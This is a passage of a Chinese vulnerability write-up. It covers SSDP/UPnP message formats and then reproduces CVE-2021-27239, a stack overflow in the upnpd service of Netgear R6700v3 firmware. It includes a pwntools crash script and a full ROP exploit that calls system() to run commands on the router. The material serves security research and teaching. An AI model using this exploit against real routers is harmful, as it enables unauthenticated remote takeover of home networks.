uuid:UPnP-InternetGatewayDevice-1_0-000666777888::urn:schemas-upnp-org:device:InternetGatewayDevice:1\/\n<\/code><\/pre>\n\n\n\n<p>\u54cd\u5e94\u62a5\u6587\u4e2d\uff0c\u7b2c\u4e00\u884cHTTP\u72b6\u6001\u7801200\u8868\u793a\u8bf7\u6c42\u6210\u529f\u3002CACHE-CONTROL\u6307\u5b9a\u8bbe\u5907\u6216\u670d\u52a1\u7684\u7f13\u5b58\u65f6\u95f4\uff0c\u5355\u4f4d\u4e3a\u79d2\u3002LOCATION\u6307\u5b9a\u4e86\u8bbe\u5907\u6216\u670d\u52a1\u7684\u63cf\u8ff0\u6587\u6863\u5730\u5740\uff0c\u5373rootDesc.xml\u6587\u4ef6\u3002ST\u548cUSN\u5206\u522b\u8868\u793a\u8bbe\u5907\u6216\u670d\u52a1\u7684\u7c7b\u578b\u548c\u552f\u4e00\u8bc6\u522b\u53f7\u3002EXT\u6307\u5b9a\u4e86\u8bbe\u5907\u6216\u670d\u52a1\u652f\u6301\u7684\u6269\u5c55\u534f\u8bae\uff0c\u8fd9\u91cc\u4e3a\u7a7a\u3002SERVER\u6307\u5b9a\u4e86\u8bbe\u5907\u6216\u670d\u52a1\u7684\u64cd\u4f5c\u7cfb\u7edf\u548c\u5e94\u7528\u7a0b\u5e8f\u540d\u79f0\u548c\u7248\u672c\u4fe1\u606f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"2%E3%80%81%E8%AE%BE%E5%A4%87%E9%80%9A%E7%9F%A5%E6%B6%88%E6%81%AF\"><\/span><strong>2\u3001\u8bbe\u5907\u901a\u77e5\u6d88\u606f<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u5728\u8bbe\u5907\u52a0\u5165\u7f51\u7edc\u65f6\uff0c\u5b83\u5e94\u5f53\u5411\u4e00\u4e2a\u7279\u5b9a\u7684\u591a\u64ad\u5730\u5740\u7684 SSDP \u7aef\u53e3\u4f7f\u7528 NOTIFY \u65b9\u6cd5\u53d1\u9001 \u201cssdp:alive\u201d \u6d88\u606f\uff0c\u4ee5\u4fbf\u5ba3\u5e03\u81ea\u5df1\u7684\u5b58\u5728\uff0c\u66f4\u65b0\u671f\u9650\u4fe1\u606f\uff0c\u66f4\u65b0\u4f4d\u7f6e\u4fe1\u606f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%EF%BC%881%EF%BC%89ssdp-alive-%E6%B6%88%E6%81%AF\"><\/span>\uff081\uff09ssdp:alive \u6d88\u606f<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u7531\u4e8e UDP \u534f\u8bae\u662f\u4e0d\u53ef\u4fe1\u7684\uff0c\u8bbe\u5907\u5e94\u8be5\u5b9a\u671f\u53d1\u9001\u5b83\u7684\u516c\u544a\u6d88\u606f\u3002\u5728\u8bbe\u5907\u52a0\u5165\u7f51\u7edc\u65f6\uff0c\u5b83\u5fc5\u987b\u7528 NOTIFY \u65b9\u6cd5\u53d1\u9001\u4e00\u4e2a\u591a\u64ad\u4f20\u9001\u8bf7\u6c42\u3002NOTIFY \u65b9\u6cd5\u53d1\u9001\u7684\u8bf7\u6c42\u6ca1\u6709\u56de\u5e94\u6d88\u606f\u3002<\/p>\n\n\n\n<p>\u5178\u578b\u7684\u8bbe\u5907\u901a\u77e5\u6d88\u606f\u683c\u5f0f\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>NOTIFY * HTTP\/1.1\nHOST: 239.255.255.250:1900\nCACHE-CONTROL: max-age = seconds until advertisement expires\nLOCATION: URL for UPnP description for root device\nNT: search target\nNTS: ssdp:alive\nUSN: advertisement UUID<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%EF%BC%882%EF%BC%89ssdp-byebye%E6%B6%88%E6%81%AF\"><\/span>\uff082\uff09ssdp:byebye\u6d88\u606f<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u5f53\u4e00\u4e2a\u8bbe\u5907\u8ba1\u5212\u4ece\u7f51\u7edc\u4e0a\u5378\u8f7d\u7684\u65f6\u5019\uff0c\u5b83\u4e5f\u5e94\u5f53\u5411\u4e00\u4e2a\u7279\u5b9a\u7684\u591a\u64ad\u5730\u5740\u7684 SSDP \u7aef\u53e3\u4f7f\u7528 NOTIFY \u65b9\u6cd5\u53d1\u9001 \u201cssdp:byebye\u201d \u6d88\u606f\u3002\u4f46\u662f\uff0c\u5373\u4f7f\u6ca1\u6709\u53d1\u9001 \u201cssdp:byebye\u201d \u6d88\u606f\uff0c\u63a7\u5236\u70b9\u4e5f\u4f1a\u6839\u636e \u201cssdp:alive\u201d \u6d88\u606f\u6307\u5b9a\u7684\u8d85\u65f6\u503c\uff0c\u5c06\u8d85\u65f6\u5e76\u4e14\u6ca1\u6709\u518d\u6b21\u6536\u5230\u7684 \u201cssdp:alive\u201d \u6d88\u606f\u5bf9\u5e94\u7684\u8bbe\u5907\u8ba4\u4e3a\u662f\u5931\u6548\u7684\u8bbe\u5907\u3002<\/p>\n\n\n\n<p>\u5178\u578b\u7684\u8bbe\u5907\u5378\u8f7d\u6d88\u606f\u683c\u5f0f\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>NOTIFY * HTTP\/1.1\nHOST: 239.255.255.250:1900\n## NT: search target\nNTS: ssdp:byebye\nUSN: advertisement UUID<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"CVE-2021-27239%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0\"><\/span>CVE-2021-27239\u6f0f\u6d1e\u590d\u73b0<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p>\u8be5\u6f0f\u6d1e\u4f4d\u4e8e\u8def\u7531\u5668\u7684 UPnP \u670d\u52a1\u4e2d\uff0c \u7531\u4e8e\u89e3\u6790 SSDP \u534f\u8bae\u6570\u636e\u5305\u7684\u4ee3\u7801\u5b58\u5728\u7f3a\u9677\uff0c\u5bfc\u81f4\u672a\u7ecf\u6388\u6743\u7684\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u4ee5\u53d1\u9001\u7279\u5236\u7684\u6570\u636e\u5305\u4f7f\u5f97\u6808\u4e0a\u7684 buffer \u6ea2\u51fa\uff0c\u8fdb\u4e00\u6b65\u63a7\u5236 PC \u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u7528\u7684\u8def\u7531\u5668\u56fa\u4ef6\u662fR6700v3-V1.0.4.102_10.0.75\uff0c<a href=\"https:\/\/kb.netgear.com\/000062417\/R6700v3-Firmware-Version-1-0-4-102\">\u4e0b\u8f7d\u5730\u5740<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90\"><\/span>\u6f0f\u6d1e\u5206\u6790<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>binwalk -Me\u89e3\u5305\u4e00\u4e0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-1024x371.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"371\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-1024x371.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1022\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6f0f\u6d1e\u4f4d\u4e8e \/usr\/sbin\/upnpd\uff0c\u662fssdp\uff08UDP 1900\uff09\u534f\u8bae\u7684\u89e3\u6790\u8fc7\u7a0b\u4e2d\uff0c\u5bf9MX\u5b57\u6bb5\u7684 strncpy \u5f15\u53d1\u7684\u6808\u6ea2\u51fa\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-1-1024x230.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"230\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-1-1024x230.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1023\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>checksec\u770b\u4e00\u4e0b\u4fdd\u62a4\u90fd\u6ca1\u5f00<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-3-1024x889.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"889\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-3-1024x889.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1025\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u901a\u8fc7\u5b57\u7b26\u4e32\u641c\u7d22MX\u5f88\u5feb\u5c31\u80fd\u5b9a\u4f4d\u5230\u6f0f\u6d1e\u70b9<\/p>\n\n\n\n<p>stristr\u51fd\u6570\uff0c\u5b83\u7684\u4f5c\u7528\u662f\uff1a<strong>\u5728\u7b2c\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\u67e5\u627e\u7b2c\u4e8c\u4e2a\u5b57\u7b26\u4e32\u9996\u6b21\u51fa\u73b0\u7684\u4f4d\u7f6e\uff0c\u5e76\u8fd4\u56de\u4ece\u8be5\u4f4d\u7f6e\u5f00\u59cb\u5230\u7b2c\u4e00\u4e2a\u5b57\u7b26\u4e32\u672b\u5c3e\u7684\u6240\u6709\u5185\u5bb9\u3002<\/strong><\/p>\n\n\n\n<p>\u5173\u952e\u7279\u6027\uff1a\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff08\u5373 &#8220;A&#8221; \u548c &#8220;a&#8221; \u88ab\u89c6\u4e3a\u76f8\u540c\uff09\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u7b80\u5355\u4e00\u5206\u6790\uff0cv3\u6307\u5411\u201cMX\u201d\u8fd9\u4e2a\u5b57\u7b26\u4e32\u7684\u5f00\u5934\uff0c\u6240\u4ee5v3+3\u6307\u5411\u7684\u662f&#8221;MX:&#8221;\u540e\u9762\u7d27\u8ddf\u7684\u5185\u5bb9\uff0c\u800cv4\u6307\u5411\u7684\u662f\u201cMX:xxx\\r\\n\u201d\u4e2d\u201c\\r\\n\u201d\u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48v4-\uff08v3+3\uff09\u5c31\u662fMX\u540e\u9762\u771f\u5b9e\u6570\u636e\u7684\u957f\u5ea6\u4e86\uff0c\u63a5\u7740\u518d\u7528atoi\u8f6c\u6362\u4e00\u4e0b\u5f97\u5230MX\u7684\u6570\u503c<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1013\" height=\"840\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1026\"  sizes=\"(max-width: 1013px) 100vw, 1013px\" \/><\/div><\/figure>\n\n\n\n<p>\u5f88\u663e\u7136\uff0c\u53ea\u8981MX\u8db3\u591f\u957f\uff0cv6\u8fd9\u4e2a\u6808\u4e0a\u53d8\u91cf\u5c31\u4f1a\u6ea2\u51fa<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%BC%8F%E6%B4%9E%E9%AA%8C%E8%AF%81\"><\/span>\u6f0f\u6d1e\u9a8c\u8bc1<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-5-1024x605.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"605\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-5-1024x605.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1027\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5c1d\u8bd5\u76f4\u63a5\u7528FirmAE\u542f\u52a8\uff0c\u53d1\u73b0\u6210\u529f\u4e86\uff0c\u8fd9\u65f6\u76f4\u63a5\u8fde\u63a5\u5230shell\u4e0a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"577\" height=\"111\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1028\"  sizes=\"(max-width: 577px) 100vw, 577px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230upnpd\u7684\u8fd0\u884c\u8fdb\u7a0b\uff0c\u4f46\u662f\u7531\u4e8e\u6b64\u65f6\u7ec8\u7aef\u65e0\u6cd5\u56de\u663e\uff0c\u6211\u4eec\u624b\u52a8kill\u4e00\u4e0b\u518d\u542f\u52a8<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-7-1024x265.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"265\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-7-1024x265.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1029\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6b64\u65f6\u53ef\u4ee5\u770b\u5230\u5df2\u7ecf\u6b63\u5e38\u542f\u52a8\u4e86\uff0c\u5728\u522b\u7684\u5e08\u5085\u6587\u7ae0\u91cc\u770b\u5230\u4e86\u6709\u5173NVRAM\u6b3a\u9a97\u7684\u95ee\u9898\uff0c\u8fd9\u91cc\u6211\u6ca1\u6709\u9047\u5230\uff0c\u4e0d\u8fc7\u8fd8\u662f\u628a\u94fe\u63a5\u62ff\u6765\uff0c\u6709\u9700\u8981\u7684\u53ef\u4ee5\u770b\u4e00\u4e0b<a href=\"https:\/\/paper.seebug.org\/1311\/\">Netgear Nighthawk R8300 upnpd PreAuth RCE \u5206\u6790\u4e0e\u590d\u73b0<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-8-1024x864.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"864\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-8-1024x864.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1030\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>netstat\u53ef\u4ee5\u770b\u52301900\u5df2\u7ecf\u88ab\u76d1\u542c\u4e86<\/p>\n\n\n\n<p>payload\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\np = remote(\"192.168.1.1\", 1900, typ='udp')\ncontext.log_level = 'debug'\n\npayload = b'M-SEARCH * HTTP\/1.1 \\r\\n'\npayload += b'Man:\"ssdp:discover\" \\r\\n'\npayload += b'MX:' + b'a'*160 + b' \\r\\n'\n\np.send(payload)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"705\" height=\"138\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1031\"  sizes=\"(max-width: 705px) 100vw, 705px\" \/><\/div><\/figure>\n\n\n\n<p>\u6267\u884c\u5b8cpaylaod\u4e4b\u540e<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"533\" height=\"65\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1032\"  sizes=\"(max-width: 533px) 100vw, 533px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fdb\u7a0b\u5df2\u7ecf\u6d88\u5931\u4e86\uff0c\u6211\u4eec\u6765\u8fde\u63a5gdb\u8c03\u8bd5\u4e00\u4e0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"375\" height=\"155\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1033\"  sizes=\"(max-width: 375px) 100vw, 375px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-12-1024x568.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"568\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-12-1024x568.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1034\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>b\u5230\u5bf9\u5e94\u65ad\u70b9<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"831\" height=\"345\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2026\/03\/image-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1036\"  sizes=\"(max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p>\u6700\u7ec8\u89e6\u53d1\u4e86\u6808\u6ea2\u51fa\uff0c\u62a5\u4e86\u6bb5\u9519\u8bef<\/p>\n\n\n\n<p>\u7528\u4e0b\u9762\u8fd9\u6bb5exp\u53ef\u4ee5getshell<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\np = remote(\"192.168.6.2\", 1900, typ='udp')\ncontext.log_level = 'debug'\n\ncommand = b'ls'\n\npayload = b'M-SEARCH * HTTP\/1.1\\r\\n'\npayload += b'Man:\"ssdp:discover\"\\r\\n'\npayload += b'MX:'\npayload += b'a' * 0x8c\npayload += b'\\x08\\x39\\x01\\r\\n\\x00' # add sp, 0x800\npayload += b'a' * 0xa5\npayload += p32(0x000CD000) # .data\npayload += b'a' * 8\npayload += p32(0x0000BB44) # strcpy\npayload += command.ljust(0x400, b'\\x00')\npayload += p32(0x000CD000) # .data\npayload += b'a' * 8\npayload += p32(0x00017DD8) #system\n\np.send(payload)<\/code><\/pre>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u534f\u8bae\u4ecb\u7ecd UPnP\u80cc\u666f\u77e5\u8bc6 UPnP\uff0c Universal Plug and Play\uff0c\u4e2d\u6587\u662f \u201c\u901a\u7528\u5373\u63d2\u5373\u7528 